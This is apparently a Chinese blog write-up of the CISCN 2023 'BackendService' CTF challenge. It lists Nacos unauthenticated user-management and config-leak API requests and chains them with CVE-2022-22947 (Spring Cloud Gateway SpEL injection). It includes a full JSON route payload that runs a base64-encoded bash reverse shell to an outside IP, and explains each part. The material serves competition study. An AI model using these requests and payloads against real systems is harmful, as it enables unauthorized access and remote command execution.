2023ciscn初赛 -- BackendService

参考资料:

2023CISCN初赛 - d3f4u1t (superfengi.github.io)

报告nacos中的安全漏洞以绕过身份验证 ·问题 #4593 ·阿里巴巴/纳科斯 (github.com)

CISCN2023 初赛 Backendservice题解 - 先知社区

同时感谢赵兄弟的帮忙指导

 

Spring Cloud Gateway

Spring Cloud Gateway是一个基于Spring Framework的轻量级API网关服务,它提供了一种简单而灵活的方式来构建和管理微服务架构中的路由、负载均衡、安全性和监控等功能。简单理解为一个具有丰富功能的微服务网关,它可以拦截客户端的请求,然后根据predicates(断言)来为该请求分配合适的后端应用。
例如当用户请求http://192.168.1.1:80/app时,网关可以配置将其转发到APP应用服务器
http://192.168.2.2:8080/app上,又或者使用Filter 拦截器,为请求增加某些内容或者为服务器响应增加某些内容

Nacos

Nacos可以理解为一个统一管理的配置注册中心,配置了 nacos后,项目中的配置文件便可以通过Nacos来动态修改。应用通过注册到Nacos中,然后绑定组和dataID的形式,来绑定Nacos上创建的动态配置文件,当Nacos上所绑定的配置文件发布了新版时,应用将从Nacos中自动同步新的配置,大大增加了灵活性

 

 

漏洞知识

一、 Nacos 漏洞利用
 
1 、获取已有的用户列表的账号和密码
在路径后面加上/nacos/v1/auth/users?
pageNo=1&pageSize=9可以获取到已有的用户名和密码
 
2 、任意用户添加
更改提交方式为POST , 访问/nacos/v1/auth/users?
username=admin&password=passwd
新建一个账号admin1,密码passwd ,
 
3 、任意用户删除
更改提交方式为DELETE , 访问DELETE
/nacos/v1/auth/users?username=admin1
用户删除成功
 
4 、用户密码重置更改提交方式为PUT,访问 PUT /nacos/v1/auth/users?
accessToken=&username=admin&newPassword=passwd
 
5 、配置信息泄露
在路径后面加上:nacos/v1/cs/configs?
search=accurate&dataId=&group=&pageNo=1&pageSiz
e=99
二、 Nacos 结合 Spring Cloud Gateway RCE 利用
 
1 、漏洞回顾
该漏洞在网上公开POC的利用方式是通过/actuator/gateway/routes这个节点进行动态添加路
由的,当项目配置文件中配置了以下两行配置时(YAML格式),便会开启该接口:
1 management.endpoint.gateway.enabled: true
2 management.endpoints.web.exposure.include: gateway
在项目Service-provider的配置文件bootstrap.yml中,配置了连接Nacos的关键项:
ba7082b563074ad3853fd11961b59b99.png

 

其中spring.cloud.nacos.config下
name代表的是要在nacos中创建的配置文件的DataID。
file-extension则是nacos中所创建的配置文件的格式。
group则代表nacos中配置文件对应的组。
server-addr则是nacos的访问地址
其中发送的添加路由的数据包中的数据段如下:
 
0b089c1d611b419da8c0bddc66fa2f60.png

 先理解一下这段POC的含义:

id字段代表的是路由的ID标识
filters则是Spring Cloud Gateway中路由配置的过滤器:这里指定了过滤器AddResponseHeader,含义为对匹配 到的请求的响应包中添加一个自定义的Header,其中名称为Result,值为该漏洞利用的SpEL表达式,执行了 命令id。
也就是说当一个请求匹配到该路由时,返回包中应该会 存在一个Header返回了我们定义的键值,利用成功的话 会得到:result: uid=0(root) gid=0(... ...)
但POC中并未定义路由的匹配规则,因为开启 actuator/gateway的话只需要刷新一下路由然后直接查看路由配置就可以得到命令执行的回显了

2.如果找到了Spring Cloud Gateway应用以及它 的Nacos配置文件,如何利用CVE-2022-22947来进行攻击。
 
回到之前的配置文件gateway,如果发现应用未开启 Actuator,则结合前文所说的利用响应包增加Header的方
式回显,将配置在Nacos中进行修改,改为以下内容:
e3dddfaba8ac48f294d95ce93b67f84f.png

这里增加了一个filters字段,并写入POC,但这里需要注意的坑有两点:

1. 需要修改原POC,将字符串输入结果使用replace()将\n 以及\r符号替换为空,否则会提示报错Header中不能包含该字符导致利用失败
2. 在YAML配置文件中,SpEL表达式必须要用双引号括起 来,但POC原本就带有双引号,会导致识别冲突,所以 将POC内所有的双引号改为单引号,外面在用双引号括起来

完成后对配置文件进行发布,然后尝试访问,可以发现成功回显了命令执行的结果
 
 

 

 

 

赛题复现

此题是CVE-2022-22947的漏洞,改了些配置

13a3d63901a34325b57a2d0b2b3ef6eb.png

⾸先是nacos存在鉴权漏洞:

利⽤如下payload添加⽤户,调用添加用户界面,添加新用户(POST http://84730387-7f98-46cd-a8c0-bb14c014d5b5.challenge.ctf.show/v1/auth/users?username=test&password=test),然后使用新添加的用户登录控制台访问、修改和添加数据。

 6f8737dcd5d94d478d50903d5f09fb58.png

使用添加后的账号登录上nacos

 37f4f8c467eb44c5bb4ae8ed1b784e01.png

 在配置列表那里新添加一个列表

查看需要添加的信息

查找bootstrap.yml文件发现了backendservice的DataID值:backcfg
 
下一步就该在nacos配置中心里面新建一个这样的配置让后台服务调用,且必须是json格式的
 
具体payload如下:
 
{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://service-provider",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xNTIuMTM2LjE5Ny4xOC82NjY2IDA8JjE=}|{base64,-d}|{bash,-i}\").getInputStream())).replaceAll('\\n','').replaceAll('\\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}
重点payload点在这里,通过其反弹shell,达到任意命令执行
exec(\"bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xNTIuMTM2LjE5Ny4xOC82NjY2IDA8JjE=}|{base64,-d}|{bash,-i}\")
这段代码是一个使用bash反弹shell的命令,它使用了base64编码来隐藏命令内容。
 
bash -c,你可以在命令行中指定一个命令或命令字符串,并要求bash解释器执行它。
 
YmFzaCAtaSAmPiAvZGV2L3RjcC8xNTIuMTM2LjE5Ny4xOC82NjY2IDA8JjE=:
bash -i &> /dev/tcp/xxx.xxx.xxx.xx/6666 0<&1
 
bash -i:这是执行一个交互式的BashShell的命令。
 
&>:这是I/O重定向的语法,将标准输出和标准错误
输出都重定向到后面指定的位置。
 
/dev/tcp/XXX.XX.XX.XX/6666:这是一个特殊的文件路径,它表示网络套接字。具体来说,/dev/tcp是Linux中的一个虚拟文件系统,可以用来进行网络通信。
 
0<&1:这是另一个I/O重定向,将标准输入(文件描述符0)指向标准输出(文件描述符1),这样就可以实现输入和输出的重定向。
综合起来,这段代码的作用是创建一个反向连接,将Bash Shell与远程主机上的某个端口进行连接。它将标准输入、标准输出和标准错误输出重定向到网络套接字,从而实现与远程主机的交互式Shell会话。
 
base64,-d:这是一个base64解码器的命令,它会将base64编码的字符串转换回原始内容。
 
bash,-i:这是执行一个交互式的bash shell的命令。
综合起来,这段代码的作用是将经过base64编码的命令进行解码,并在本地机器上执行一个交互式的bash shell。也就是说,它试图建立一个反向连接,使得攻击者可以通过该连接与目标机器进行交互并执行命令。
 

3b84dbf1baca448194e6c85c0ec304ae.png

 接着用自己的VPS连接,命令执行即可(腾讯云价格对学生友善)

f58df4214b21402ab9c088bd245c37f7.png

 已经监听到了,找到flag文件,cat即可

39ac150bab6e4a65b1f187f3d8eb569c.png

 

 

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值